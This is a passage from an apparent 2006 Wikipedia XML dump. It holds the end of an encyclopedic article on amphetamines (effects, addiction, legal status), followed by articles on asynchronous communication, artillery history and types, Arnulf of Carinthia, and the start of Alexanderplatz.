Amphetamines are sometimes used to augment anti-depressant therapy in treatment-resistant depression.

Medical use for weight loss is still approved in some countries, but is regarded as obsolete and dangerous in, for example, the United States.

== Performance-enhancing use ==
Amphetamines are usually not used by athletes in sports involving extreme cardiovascular efforts, as methamphetamine and amphetamine put a great deal of additional stress on the heart.

The [[United States Air Force]] uses amphetamines ([[Dexedrine]]) as stimulants for pilots, calling them &quot;go-pills.&quot; After a mission, the Air Force issues a &quot;no-go pill&quot; ([[Zolpidem|Ambien]]) to help the pilot sleep.

Amphetamines have been popular among some truck drivers, construction workers, and factory workers whose jobs require long or irregular [[shift work]] or automatic, repetitive tasks. It is for this reason that they are sometimes labeled a &quot;redneck drug.&quot; They are also used by [[white-collar]] workers trying to stay alert during long hours of multitasking, and by students hoping to improve their academic performance. There has also been at least one report of the coercive administration of amphetamines to cannery workers in Thailand, in order to enhance productivity (Seabrook, 1996). 

== Effects of use==
Amphetamines release stores of [[norepinephrine]] and [[dopamine]] from nerve endings by converting the respective molecular transporters into open channels. Amphetamine also releases stores of [[serotonin]] from [[synaptic vesicle]]s. Like [[methylphenidate]] ([[Ritalin]]), amphetamines also prevent the [[monoamine transporter]]s for [[dopamine]] and [[norepinephrine]] from recycling them (called [[reuptake]] inhibition), which leads to increased amounts of dopamine and norepinephrine in [[synaptic cleft]]s.

These combined effects rapidly increases the concentrations of the respective [[neurotransmitter]]s in the [[synaptic cleft]], which promotes nerve impulse transmission in neurons that have those receptors.  

==='''Physiological effects'''===
Short-term [[physiology|physiological]] effects include [[decreased appetite]], [[increased stamina]] and physical energy, increased [[sexual drive]]/response, involuntary bodily movements, [[increased perspiration]], [[hyperactivity]], [[jitteriness]], [[nausea]], itchy, blotchy or [[greasy skin]], [[increased heart rate]], [[irregular heart rate]], and [[headaches]]. [[Fatigue]] can often follow the dose's period of effectiveness. Overdose can be treated with [[chlorpromazine]]. [http://www.rxlist.com/cgi/generic/amphsulf_od.htm]

Long-term abuse or overdose effects can include [[tremor]], restlessness, changed sleep patterns, poor skin condition, [[hyperreflexia]], [[tachypnea]], gastrointestinal narrowing, and weakened [[immune system]].  [[Fatigue]] and [[Depression (mood)|depression]] can follow the excitement stage.  [[Erectile dysfunction]], heart problems, stroke, and liver, kidney and lung damage can result from prolonged use. When snorted, amphetamine can lead to a deterioration of the lining of the nostrils.
Short-term psychological effects can include alertness, euphoria, increased concentration, rapid talking, increased confidence, increased social responsiveness, [[nystagmus]] (eye wiggles), hallucinations, and loss of [[Rapid eye movement|REM]] sleep the night after use. 

Long-term psychological effects can include insomnia, mental states resembling [[schizophrenia]], aggressiveness (not associated with schizophrenia), addiction or dependence with accompanying withdrawal symptoms, irritability, confusion, and panic. Chronic and/or extensively-continuous use can lead to [[amphetamine psychosis]], which causes delusions and paranoia, but this is uncommon when taken as prescribed. Amphetamine is highly-psychologically addictive, and, with chronic use, tolerance develops very quickly. Withdrawal is, although not physiologically threatening, an unpleasant experience (including [[paranoia]], depression, difficult breathing, [[dysphoria]], gastric fluctuations and/or pain, and [[lethargia]]). This commonly leads chronic users to re-dose amphetamine frequently, explaining tolerance and increasing the possibility of addiction.

==Addiction==
Because of the widespread ability in prescription amphetamine today, mainly in the ADD/ADHD medicines [[Adderall]] and [[Dexedrine]], there is an increased risk of abuse and addiction among persons of all ages. [[Tolerance]] is developed rapidly in amphetamine use, therefore increasing amount of the drug that is needed to satisfy the adiction. Many abusers will repeat the amphetamine cycle by taking more of the drug during the [[withdrawal]]. This leads to a very dangerous cycle and may involve the use of other drugs to get over the withdrawal process.

Anyone is able to develope tolerance to amphetamines. Children and other [[ADD]] and [[ADHD]] sufferers have been known to feel different when not taking the medication, a feeling significantly different enough from being medicated that drives the users to keep taking the drug when it is not needed, however, addiction to ADD/ADHD medication is rare if it is not abused or wrongly prescribed.

==Legal issues==
* In the United Kingdom, amphetamines are regarded as [[Misuse of Drugs Act 1971|Class B]] drugs. The maximum penalty for unauthorised possession is three months' imprisonment and a £2,500 fine.

* In the United States, amphetamine and [[methamphetamine]] are [[Controlled Substances Act#Schedule II drugs|Schedule II]] controlled drugs, classified as a CNS (Central Nervous System) Stimulant.  A Schedule II drug is classified as one that: has a high potential for abuse, has a currently-accepted medical use and is used under severe restrictions, and has a high possibility of severe psychological and physiological dependence. 

On the international scene, amphetamine is a Schedule II drug under the [[Convention on Psychotropic Substances]]{{ref|www.incb.org.684}}.

==Books==
* {{cite book
 | last = Seabrook | first = Jeremy
 | title=In the Cities of the South:scenes from a developing world
 | location = London ; New York
 | publisher =  Verso
 | year=1996
 | id=ISBN 1859849865
 }}

==See also==
*[[Adderall]]
*[[Stimulants]]
*[[Phenethylamine]]s
*[[Dextroamphetamine]] (Dexedrine)
*[[Methylphenidate]] (Ritalin, Concerta)
*[[Cathinone]]
*[[Methcathinone]]
*[[Ephedrine]]
*[[Tolerance]]
*[[Attention Deficit Hyperactivity Disorder]]
*[[Psychoactive drug]]
*[[Clandestine chemistry]]
*[[Uncle Fester (author)]]

{{Phenethylamines}}

==External links==
* {{PubChemLink|5826}}  ([[D-form]] &amp;mdash; dextroamphetamine)
* {{PubChemLink|3007}}  ([[L-form]] and D,L-forms) 
* {{PubChemLink|32893}}  ([[L-form]] &amp;mdash; Levamphetamine or L-amphetamine)
* [http://abcnews.go.com/sections/2020/DailyNews/2020_pilotpills021220.html USAF use of amphetamines]
* [http://www.erowid.org/chemicals/amphetamines/amphetamines.shtml Erowid - Amphetamines]
* [http://www.thegooddrugsguide.com/amphetamines/index.htm The Good Drugs Guide - Amphetamines]
* [http://leda.lycaeum.org/?ID=364 Lycaeum - Amphetamines]
* Srisurapanont et al, [http://www.update-software.com/abstracts/AB003022.htm Treatment for amphetamine dependence and abuse]
* [http://www.drugs.com/Amphetamine Drugs.com - Amphetamine]
* [http://www.apaic.org Asia &amp; Pacific Amphetamine - Type Simulant Information Centre] - a very extensive information source mangaged by the United Nations Office on Drugs and Crime.

== Notes ==
&lt;!-- How to add a footnote: 
   NOTE: Footnotes in this article use names, not numbers. Please see [[Wikipedia:Footnotes]] for details.
     1) Assign your footnote a unique name, for example TheSun_Dec9. 
     2) Add the macro {{ref|TheSun_Dec9}} to the body of the article, where you want the new footnote.
     3) Take note of the name of the footnote that immediately precedes yours in the article body. 
     4) Add #{{Note|TheSun_Dec9}} to the list, immediately below the footnote you noted in step 3.  No need to re-number anything!
     5) Multiple footnotes to the same reference: see [[Wikipedia:Footnotes]] for a how-to.
   NOTE: It is important to add footnotes in the right order in the list!
--&gt;
# {{note|www.incb.org.684}} {{cite web | title=List of psychotropic substances under international control
 | publisher = International Narcotics Control Board
 | url=http://www.incb.org/pdf/e/list/green.pdf
 | format = PDF
 | accessdate=November 19 | accessyear=2005
 }}

[[Category:Schedule II controlled substances]]
[[Category:Sympathomimetic amines]]
[[Category:Phenethylamines]]
[[Category:Stimulants]]
[[Category:Amphetamines]]
[[Category:Military drugs]]

[[da:Amfetamin]]
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[[zh:苯丙胺]]</text>
    </revision>
  </page>
  <page>
    <title>Asynchronous communication</title>
    <id>2506</id>
    <revision>
      <id>36150181</id>
      <timestamp>2006-01-22T00:21:53Z</timestamp>
      <contributor>
        <username>Igor Markov</username>
        <id>794787</id>
      </contributor>
      <minor />
      <comment>/* See also */</comment>
      <text xml:space="preserve">'''Asynchronous communication''' is sending data without [[synchronization]] to an external clock.
The asynchronous communication technique is a physical layer transmission technique which is most widely used for personal computers providing connectivity to printers, modems, fax machines, etc. The most significant aspect of asynchronous communications is that the transmitter and receiver clock are independent and are not synchronised..
==See also==
* [[Asynchrony]]
* [[Asynchronous system]]
* [[Asynchronous circuit]]
* [[Asynchronous start-stop]]
* [[Asynchronous computer]]

[[Category:Communication]]
[[Category:Telecommunications_terms]]
{{Compu-network-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Antibiotics</title>
    <id>2507</id>
    <revision>
      <id>15900912</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Antibiotic]]
</text>
    </revision>
  </page>
  <page>
    <title>Artillery</title>
    <id>2508</id>
    <revision>
      <id>41460486</id>
      <timestamp>2006-02-27T14:14:38Z</timestamp>
      <contributor>
        <ip>138.162.0.38</ip>
      </contributor>
      <comment>links</comment>
      <text xml:space="preserve">:''For the [[thrash metal]] band, see [[Artillery (band)]]''
{{history of war}}
Historically, '''''artillery''''' refers to any engine used for the discharge of [[projectile]]s  during [[war]]. The term also describes ground-based [[soldier|troop]]s with the primary function of manning such [[weapon]]s. Sometimes known as &quot;The King of Battle&quot;. The word is derived from the [[Old French]] [[verb]] ''attilier'', meaning ''&quot;to equip&quot;''.

== History ==
The first documented record of artillery used on the battle field is on [[January 28]], [[1132]]. General [[Han Shizhong]] of the [[Song Dynasty]] used [[Escalade]] and Artillery to capture a city in [[Fujian]].   

The word as used in the current context originated in the [[Middle Ages]]. It comes from the [[Old French]] ''atellier'' meaning &quot;to arrange&quot;, and ''attillement'' meaning &quot;equipment&quot;. From the [[13th century]] an ''artillier'' referred to a builder of any war equipment, and for the next 250 years the sense of the word &quot;artillery&quot; covered all forms of military weapons.

Older engines like the [[catapult]], [[onager (siege weapon)|onager]], [[trebuchet]] and [[ballista]] are artillery, but the modern term really dates from the mid [[15th century]] with [[bombard]]s and then [[cannon]].

Bombards are the earliest of gunpowder artillery, distinguished by their lack of a field carriage, immobility once emplaced, highly individual design, and noted unreliability. The use of the word cannon marks the introduction of a dedicated field carriage with axle, trail and horse-drawn limber - this produced mobile field pieces that could move and support an army in action rather than being found only in siege and static defences. Cannon were always muzzle-loaders, casting technology having standardized and removed the often dangerous breech-loading design.

[[Image:Artillery gun crew-illustration.jpeg|thumb|Continental Artillery crew from the American Revolution]]
[[Image:93RAM 155 TR F1 16082231456651583.jpg|thumb|155&amp;nbsp;mm [[howitzer]], [[Troupes de Marine|French marine artillery]].]]
[[Image:Tir.jpg|thumb|Firing of a 18-pound gun, [[Louis-Philippe Crepin]], (1772 &amp;ndash; 1851)]]
[[Image:MuseeMarine-canonBronze-p1000434.jpg|thumb|Naval piece of artillery, early 19th century]]
[[Image:MuseeMarine-canon-1880-p1000439.jpg|thumb|French naval piece of the late 19th Century]]

Cannon operation was still a complex technical task, often undertaken at high-speed and in stressful conditions, where a mistake could easily be lethal. The field carriage eased movement in general, but traverse and elevation were still very limited and slow - the crew ramming levers, handspikes, to force a movement of a few degrees. Larger movements were by brute force shoves of the entire unit, as was repositioning after recoil, an extremely enervating task.

The combining of shot and powder into a single unit, a cartridge, occurred in the 1620s with a simple fabric bag, and was quickly adopted by all nations. It speeded loading and made it safer, but unexpelled bag fragments were an additional fouling in the gun barrel and a new tool - a worm - was introduced to remove them. Shells, explosive-filled fused projectiles, were also developed - problems with the fuses were extremely common. 
The development of specialised pieces - shipboard artillery, [[howitzers]] and [[mortars]] - was also begun in this period. More esoteric designs, like the multi-barrel [[ribaudequin]], were also built.

The [[17th century]] book by [[Polish-Lithuanian Commonwealth]] inventor [[Kazimierz Siemienowicz]] &quot;''Artis Magnae Artilleriae pars prima''&quot; (&quot;Great Art of Artillery, the First Part&quot;. also known as &quot;The Complete Art of Artillery&quot;) was one of the most important contemporary publications on the subject of artillery. For over two centuries this work was used in [[Europe]] as a basic artillery manual.

Oddly the development of cannon almost halted until the 19th-century, improvements in metallurgy, chemistry, manufacturing, and so on, did not alter the basic design and operation of a cannon. From the 1860s artillery was forced into a series of rapid technological and operational changes, accelerating through the 1870s and on. The main impetus was the improvements in small arms, which certainly had not spent 200 years in the doldrums. Artillery could no longer be deployed in the battle line, the large crews and stocks of ammunition were vulnerable to rifle fire, but had to either become smaller, lighter, more mobile and stay with the troops or get much further away. The second type, using indirect fire, forced the development of the technologies and doctrines that produced modern artillery.

== Modern artillery ==
[[modern era|Modern]] artillery is distinguished by its large caliber, firing an [[explosive]] [[shell (projectile)|shell]] or [[rocket]], and being of such a size and weight as to require a specialized mount for firing and transport. Weapons covered by this term include &quot;[[cannon]]&quot; artillery such as the [[howitzer]], [[mortar (weapon)|mortar]], and [[field gun]] and &quot;[[rocket]]&quot; artillery.  Certain smaller caliber mortars are more properly designated small arms rather than artillery, albeit indirect-fire small arms.

The term &quot;artillery&quot; has traditionally not been used for projectiles with internal [[guidance systems]], even though some artillery units employ surface-to-surface [[missile|missiles]].  Advances in terminal guidance systems for small munitions has allowed large caliber projectiles to be developed, blurring this distinction.

== Types ==
The types of cannon artillery are generally distinguished by the velocity at which they fire projectiles. Naval guns or [[infantry support gun]]s are typically longer-barreled, low-trajectory, high-velocity weapons designed primarily for a direct-fire role. Typically the length of a cannon barrel is greater than 25 times its caliber (inner diameter).

[[Howitzer]]s are relatively shorter. Capable of both high- and low-angle fire, they are most often employed in an [[indirect-fire]] role, capable of operating in [[defilade]]. Typically, the length of a howitzer cannon is between 15 and 25 times its caliber.

[[mortar (weapon)|Mortar]]s are smaller, low-velocity, high-angle weapons capable of only high-trajectory fire at a relatively short range. Typically the length of a mortar barrel is less than 15 times its caliber.

Modern field artillery can also be split into two other categories: towed and self-propelled. As the name implies, towed artillery has a prime mover, usually a [[jeep]] or [[truck]], to move the piece, crew, and ammunition around. Self-propelled howitzers are permanently mounted on a carriage or vehicle with room for the crew and ammunition and capable of moving independently in order to move quickly from one firing position to another - to both support the fluid nature of modern combat and to avoid [[counter-battery fire]]. There are also mortar carrier vehicles, many of which allow the mortar to be removed from the vehicle and be used dismounted, potentially in terrain in whichthe vehicle cannot navigate or in order to avoid detection.

=== Sub-types ===
[[Image:60 pounder Cape Helles June 1915.jpg|thumb|A British 60-pounder (5 inch) gun at full recoil, in action during the [[Battle of Gallipoli]], 1915.]]

Types of artillery:
* [[Field artillery]] - mobile weapons used to support armies in the field.  Subcategories include:
** [[infantry support gun]]s - directly support infantry units (mostly obsolete).
** [[mountain gun]]s - lightweight weapons that can be moved through difficult terrain.
** [[howitzer]]s - capable of high angle fire.
** [[gun howitzer]]s - capable of high or low angle fire with a long barrel.
** [[mortar (weapon)|mortar]]s - lightweight weapons that fire projectiles at an angle of over 45 degrees to the horizontal.
* [[Self-propelled artillery]] - typically guns, mortars or gun howitzers mounted on a vehicle.
* [[Naval artillery]] - cannons mounted on warships and used either against other ships or in support of ground forces. The crowning achievement of naval artillery was the [[battleship]], but the advent of air-power and missiles have rendered this type of artillery largely obsolete.
* [[Coastal artillery]] - Fixed-position weapons dedicated to defense of a particular location, usually a coast (e.g. the [[Atlantic Wall]] in [[World War II|WW II]]) or harbor.  Not needing to be mobile, coastal artillery can be much larger than equivalent field artillery pieces, giving them longer range and more destructive power. Since World War II, however, modern weapons and tactics have made them largely obsolete.
* [[Anti-aircraft artillery]] - weapons, usually mobile, dedicated to attacking aircraft from the ground.

=== Projectiles ===
[[Image:16-in Battleship Ammunition.JPG|thumb|Battleship Ammunition: 16&quot; artillery shells aboard one of [[United States|America's]] [[Iowa class battleship|''Iowa''-class battleships]].]]
All forms of artillery require a [[propellant]] to fire the projectile at the target. A number of different configurations have been developed, each with varying characteristics. They include:
* Tube fired - utilise the pressure of burnt propellant inside a barrel to force a projectile out of the mouth of the barrel.
** Spin stabilised - Use helical grooves or ridges on the inside of the barrel to impart a rotation to the projectile as it is travelling in the barrel.  (See also [[rifling]])
** Fin stabilised - Use fins at the rear of the projectile in the airflow to maintain correct orientation.
** Inverted tube - Some weapons have been built with the tube built into the projectile and fitted onto a rod fitted to the carriage.
* Recoilless - A tube fired weapon with a breech designed to perforate a bursting disk at firing, and permit a mass of burnt propellant gases with [[momentum]] equal to the projectile to exit from the rear of the barrel, to prevent recoil from affecting the weapon.
* [[Rocket]] propelled - Tube or rail launched - A reaction propulsion system mounted to the projectile provides continuous thrust for an initial period of the flight.
* Rocket assist - A combination of tube fired and rocket propelled - uses a rocket motor in the base of the projectile to extend the range by about 30%.
* [[Base bleed]] - Similar to a rocket assist projectile, uses a small pyrotechnic charge at the base of the projectile. The charge introduces sufficient combustion products into the low-pressure region behind the base of the projectile responsible for a large proportion of the [[Form drag|drag]] to substantially (&gt; 30%) increase range. Like a rocket assist projectile, trajectory is changed to non-ballistic, which may complicate counter-battery location.

=== Ammunition ===
High-explosive; shrapnel, dual purpose improved conventional munitions (DPICM)- bomblet; canister or anti-personnel; illuminating or star-shell; armour-piercing; incendiary (white phosphorus, &quot;Willie Pete&quot;); gas or aerosol, chemical or biological; smoke; nuclear and non-lethal (developing area - includes High Power Microwave HPM, and NL payload carrier shells).

=== [[Fuse (explosives)|Fuzes]] ===
Quick or super-quick; delay; hardened-delay or concrete-piercing; timer; proximity.  [[Proximity fuze]]s can be set to detonate at various heights for above ground detonation providing for air-bursts which multiply the round's killing effectiveness.  In anti-aircraft fire the proximity fuze can be made to have a premature detonation because of the moisture in heavy rain clouds.  The proximity fuze emerged on the battlefields of Europe in 1944, and was signicant in providing a counter to German personnel in open.  Proximity fuzes were a big improvement over the mechanical fuze which it replaced.

== Modern artillery operations ==
[[Image:Hirlimann-Le-char-au-garage.jpeg|thumb|An [[AMX_30_AuF1|AuF1]] of the French artillery detachement of the [[IFOR]] near [[Sarajevo]] in 1996.]]
[[Image:Gun5a.JPG|thumb|[[USMC]] [[M-198]] firing outside of [[Fallujah]], [[Iraq]] in 2004]]
Depending on the calibre of the weapons, artillery is used in a variety of roles. Mortars fire relatively short range and small- to medium-calibre (up to about 120 mm) projectiles. Modern mortars, because of their lighter weight and simpler, more transportable design, are usually organic to [[infantry]] and [[armor]] units, allowing greater responsiveness and negating their shorter range.

Howitzers are generally used in direct support of infantry and armor, where the guns of a [[Artillery battery|battery]] or even a [[battalion]] will be massed to fire simultaneously onto a single point or area target. Howitzers are usually between about 105 mm and 155 mm in calibre.

=== Counter-battery fire ===
Attacks aimed at enemy artillery rather than infantry or fortifications are known as [[counter-battery fire|counter battery fire]].

[[Radar]] coupled to [[computer|computers]] can accurately track a projectile in flight back to its firing point. This can be used as targeting information for an enemy artillery site.

When artillery fire is directed via radio by a forward observer (FO), the location of FO's transmitter can be calculated and attacked with artillery as well. If successful, this counter-attack will limit the effectiveness of the FO's artillery fire. Radar also improves the all-weather flexibility of modern artillery.

The rise in counter-battery abilities has driven field artillery to adopt &quot;[[shoot-and-scoot]]&quot; tactics emphasizing constant maneuver within a designated position area, usually from hide point to firing point and back again. This has required reliance on sometimes temperamental technology and increased the cost of modern field artillery systems.

=== Field artillery team ===
{{main|field artillery}}
Modern field artillery (Post-[[World War I]]) has three distinct parts: the forward observer (or FO), the fire direction center (FDC) and the actual guns themselves.  The forward observer observes the target using tools such as [[binocular]]s, [[laser range-finder]]s, designators and call back fire missions on his radio.  The FO deals solely with the FDC, of which there is usually one per each [[Artillery battery|battery]] of six guns. The FDC computes firing data, ''fire direction'', for the guns. The FDC will transmit the fire order to the guns, specifying the number of volleys, shell and fuze combination, charge, deflection and quadrant elevation, and any special instructions.

=== MRSI ===
It is possible for modern computer-controlled artillery to fire more than one volley at a target and have all the shells arrive simultaneously, which is called MRSI (Multiple Rounds Simultaneous Impact). This is because there is more than one trajectory for the rounds to fly to any given target - typically one is below 45 degrees from horizontal and the other is above it, and if you can vary the amount of propellant with each shell, you can create more trajectories. Because the higher trajectories cause the shells to arc higher into the air, they take longer to reach the target and so if the shells are fired on these trajectories for the first volleys (starting with the shell with the most propellant and working down) and then after the correct pause more volleys are fired on the lower trajectories, the shells will all arrive at the same time. This is useful because many more shells can land on the target with no warning. With traditional volleys along the same trajectory, anybody at the target point will have a certain amount of time (however long it takes to reload and re-fire the guns) to run away or take cover between volleys. In addition, if guns in more than one location are firing on one target, with careful timing it can be arranged for all their shells to land at the same time for the same reason.

Examples of MRSI guns are [[South Africa]]'s [[Denel G6]]-52 (which can land six rounds simultaneously at targets at least 25 km away) and [[Germany]]'s [[PzH 2000 howitzer|Panzer Haubitze 2000]] (which can land five rounds simultaneously at targets at least 17 km away). The [[United States]] [[XM2001 Crusader|Crusader]] programme (now cancelled) was slated to have MRSI capability.

When an effect similar to that of MRSI is achieved using separate batteries of traditional artillery, using varying fuzes to account for the variant distances or trajectories to cause all shells to detonate on the target at the same time, it is called TOT (Time On Target).  The logic behind this practice is the same as that for MRSI: to surprise the enemy and to sow confusion when guns heard to be firing at different times nonetheless result in deadly explosions in the same instant.  

An additional wrinkle can be added when some or all of the shells are set for airburst, meaning they explode in the air above the target instead of upon impact.  This is a very effective tactic against infantry and light vehicles because it scatters the [[shrapnel]] over a larger area and prevents the blast [[shockwave]] from being blocked by terrain, but usually proves ineffective against troops or equipment protected by even rudimentary [[fortification|fortifications]]. However, airbursts are probably more likely to impact units protected by [[trench]]es and [[revetment]]s, since the shrapnel can enter them from above, while a ground-burst nearby would simply cause the shrapnel to impact the walls or fly overhead.

technical - metal, propellant, recuperation, manufacturing - obturation, etc.
doctrine - direct vs indirect fire, predicted fire, observed fire - forward observation, pre-planned fire - registered fire, barrage, creeping barrage, STOP (simultaneous time on top)

== Quotations ==
*&quot;God fights on the side with the best artillery.&quot; - [[Napoleon I of France|Napoleon Bonaparte]]. Another version of this quotation is: &quot;God is on the side of the stronger [[battalion]].&quot;

*&quot;I do not have to tell you who won the war. You know, the artillery did.&quot; - Gen [[George S. Patton]]

*&quot;Our artillery... The Germans feared it almost more than anything we had.&quot; - [[Ernie Pyle]] &quot;Brave Men&quot;, 1944 A.D.

*&quot;Artillery is the god of war.&quot; - [[Stalin]]

*&quot;Contrary to popular belief, we at artillery command do not believe we're God.  We merely borrowed His &quot;Smite&quot; button.&quot; - Anonymous

*&quot;The Mission of the Artillery is to give some class to what would otherwise be merely a vulgar brawl.&quot; - Some Redleg (American Artilleryman, since their dress blue uniforms have red stripes). This quotation has also been attributed to [[Frederick the Great]].

*&quot;Without support the infantry won't move.&quot; (In [[Hebrew language|Hebrew]] it rhymes) - The [[motto]] of the [[Israeli Artillery Corps]].

*&quot;Infantry err, infantry die. Artillery err, infantry die.&quot; -[[Israel Defense Forces|IDF]] black humor slogan

*&quot;The bombs land with awesome explosions, the earth trembles, the upcast of craters jets in the air, the troops are shocked by the blast waves, many bleed from noses or perforated ear drums, they are terrorized into apathy or outright panic.  But unless the enemy is nearby and ready to advance immediately, the moment passes.&quot; - [[Edward Luttwak]]

*&quot;Since infantry is considered the 'Queen of Battle', and artillery the king, I had inscribed my personal banner &quot;Balls for the Queen&quot;. Granted, high explosive 150 millimeter shells aren't exactly cannonballs, but hey, why spoil a perfectly good motto?&quot; - [[Tommy Franks]], while an artillery lieutenant in Vietnam.

*&quot;An artillery barrage is a terrifying thing.&quot; - [[Erich Maria Remarque]]

*&quot;If two sides start out at equal strength, and are relatively equally damaged, but one side can replenish his artillery, and the other side cannot, then that one side that gets his artillery back has all but won.&quot; - Anonymous

== See also ==
*[[List of artillery]]
*[[88 mm gun]]
*[[Artillery battery]]
*[[Paris Gun]]
*[[Nuclear artillery]]
*[[Self-propelled artillery]]
*[[Shell (projectile)]]
*[[Siege engine]]

== External links ==
*[http://www.ussmissouri.com/VDO_on_demand.aspx?Name=TurretOps_GunRoom.wmv Video: Inside one of ''Missouri''’s 16&quot; gun room, about 1955. (Windows Media File)]

[[Category:Artillery]]

[[bg:Артилерия]]
[[cs:Dělostřelectvo]]
[[da:Artilleri]]
[[de:Artillerie]]
[[el:Πυροβολικό]]
[[es:Artillería]]
[[fr:Artillerie]]
[[he:ארטילריה]]
[[hr:Topništvo]]
[[it:Artiglieria]]
[[ja:大砲]]
[[ko:대포]]
[[nl:Artillerie]]
[[no:Artilleri]]
[[pl:Artyleria]]
[[pt:Artilharia]]
[[ru:Артиллерия]]
[[sl:Artilerija]]
[[sr:Артиљерија]]
[[sv:Artilleri]]
[[uk:Артилерія]]
[[vi:Pháo]]
[[zh:火炮]]</text>
    </revision>
  </page>
  <page>
    <title>Andrey Tupolev</title>
    <id>2509</id>
    <revision>
      <id>15900914</id>
      <timestamp>2003-01-01T00:10:59Z</timestamp>
      <contributor>
        <ip>64.228.30.135</ip>
      </contributor>
      <text xml:space="preserve">#Redirect [[Andrei Tupolev]]</text>
    </revision>
  </page>
  <page>
    <title>Arnulf of Carinthia</title>
    <id>2510</id>
    <revision>
      <id>36741205</id>
      <timestamp>2006-01-26T03:37:30Z</timestamp>
      <contributor>
        <username>Miwasatoshi</username>
        <id>183350</id>
      </contributor>
      <minor />
      <comment>extra comma</comment>
      <text xml:space="preserve">'''Arnulf of Carinthia''' ([[German language|German]] ''Arnulf von Kärnten'',  [[Slovenian language|Slovenian]] ''Arnulf Koroški'') ([[850]] &amp;ndash; [[December 8]] [[899]]) was one of the last ruling members of the [[Carolingians|Carolingian Dynasty]] in [[East Francia]], which had been split from the rest of [[Frankish]] territory by the [[Treaty of Verdun]] in [[843]].  He was the illegitimate son of the [[duke of Bavaria|Bavarian king]] [[Carloman, King of Bavaria|Carloman]] and his [[concubine]], Liutswind (also ''Litwinde'' or ''Litwindie''), of [[Carinthia]]n origin, daughter of one Count Ernst.  He was given the [[duchy of Carinthia]] (a Frankish [[vassal]] state and successor of the ancient [[Principality of Karantania]]) by his father when he divided his realm, giving Bavaria to [[Louis the Younger]] and [[Italy]] to [[Charles the Fat]], in [[880]] on his death.  

He spent his childhood in Karantania, homeland of his mother.  Carloman had a court there, in [[Moosburg]] (then ''Blatograd''), where the young Arnulf grew up.  From later events it is evident that the Karantanians, from an early time, treated him as their own duke. 

He took the leading role in the deposition of his uncle, the [[Holy Roman Emperor|Emperor]] [[Charles the Fat]].  With the support of the nobles, Arnulf assumed his title of [[King of Germany|King of East Francia]] (later [[Germany]]) in [[887]].  Charles asked only for a few royal villas in [[Swabia]], which Arnulf granted him.  

Arnulf was not a negotiator, but a fighter. At the decisive [[Battle of Leuven]] on [[September]] [[891]], he defeated an invading force of the Northmen, or [[Vikings]], essentially ending invasion attempts on that front. The ''Annales Fuldensis'' (Annals of [[Fulda]]) report that the bodies of dead Northmen blocked the run of the river.  After his victory, Arnulf had built a new [[castle]] on an island in the [[Dijle]] river ([[Latin]] ''Luvanium'', local ''Lovon''). 

In [[894]] or [[895]], [[Great Moravia]] probably lost a part of its territory &amp;mdash; present-day Western [[Hungary]] &amp;mdash; to him.  Arnulf, however, failed to conquer Great Moravia in [[892]], [[893]], and [[899]].  In 895, [[Bohemia]] broke away from Great Moravia and became his vassal.  An accord was made between him and the [[duke of Bohemia|Bohemian Duke]] [[Borivoj]] (reigned [[870]]-[[895]]); Bohemia was freed from the danger of invasion. 

Arnulf invaded [[Italy]] in [[896]] and was crowned [[Emperor]] and [[King of Italy]] by [[Pope Formosus]] ([[pope]] [[891]]-[[896]]) in opposition to [[Lambert of Spoleto]]. He only retained power in Italy as long as he was personally there, he was vigourously opposed by Lambert's mother, [[Agiltrude]], and when he left, having taken ill, most of Italy was in Lambert's supporters' hands.  On his death in [[899]], he was succeeded as a king of the [[East Franks]] by his son by his wife Ota, [[Louis the Child]] ([[900]]-[[911]]).

Arnulf's illegitimate son [[Zwentibold]] reigned as [[king of Lotharingia]] from [[895]] to [[900]].

{{s-start}}
{{s-bef|before=[[Charles the Fat]]}}
{{s-ttl|title=[[King of Germany]]|years=[[887]]&amp;ndash;[[899]]}}
{{s-aft|after=[[Louis the Child|Louis III the Child]]}}
{{s-bef|rows=2|before=[[Lambert of Spoleto|Lambert]]}}
{{s-ttl|title=[[Holy Roman Emperor]]|years=[[896]]&amp;ndash;[[899]]}}
{{s-vac|rows=2|next=[[Louis the Blind|Louis III the Blind]]}}
|-
{{s-ttl|title=[[King of Italy]]|years=[[896]]&amp;ndash;[[899]]}}
|-
{{end}}

[[category:850 births]]
[[category:899 deaths]]
[[Category:Holy Roman emperors]]
[[Category:German Kings]]

[[de:Arnulf von Kärnten]]
[[et:Arnulf (Frangi keiser)]]
[[es:Arnulfo de Carintia]]
[[nl:Arnulf van Karinthië]]
[[ja:アルヌルフ (東フランク王)]]
[[no:Arnulf av Kärnten]]
[[sv:Arnulf av Kärnten]]</text>
    </revision>
  </page>
  <page>
    <title>Alexanderplatz</title>
    <id>2511</id>
    <revision>
      <id>36064209</id>
      <timestamp>2006-01-21T07:26:35Z</timestamp>
      <contributor>
        <ip>200.85.113.242</ip>
      </contributor>
      <comment>interwiki es:</comment>
      <text xml:space="preserve">[[Image:Alexanderplatz_2-7-2003.JPG|thumb|Alexanderplatz from the Fernsehturm]]

'''Alexanderplatz''' is a large open square and public transport hub in central [[Berlin]], near the [[Spree]] river and the [[Berliner Dom]]. Berliners often call it simply ''Alex''. 

Originally a cattle market, it was named in honour of a visit of the [[Russia]]n Tsar [[Alexander I of Russia|Alexander I]] to Berlin on [[25 October]] [[1805]]. It gained a prominent role in the late 19th century with the construction of the station of the same name and a nearby public market, becoming a major commercial centre. Its heyday was in the [[1920s]], when together with [[Potsdamer Platz]] it was at the heart of Berlin's [[nightlife]], inspiring the [[1929]] [[novel]] ''[[Berlin Alexanderplatz]]''. (see [[1920s Berlin]])

The Alexanderplatz has been subject to redevelopment several times in its history, most recently during the [[1960s]], when it was enlarged as part of the [[German Democratic Republic]]'s redevelopment of the city centre. It is surrounded by several notable structures including the [[Fernsehturm]] (TV Tower), the second tallest structure in [[Europe]]. Because of its high profile, many newcomers to Berlin mistake the [[nickname]] ''Alex'' and apply it to the Fernsehturm instead. The ''Alex'' also accommodates the [[Forum Hotel Berlin]] and the World Time Clock, a continually rotating installation that shows the time throughout the globe.

[[Image:Berlin - Weltzeituhr.jpg|thumb|The World time clock]]
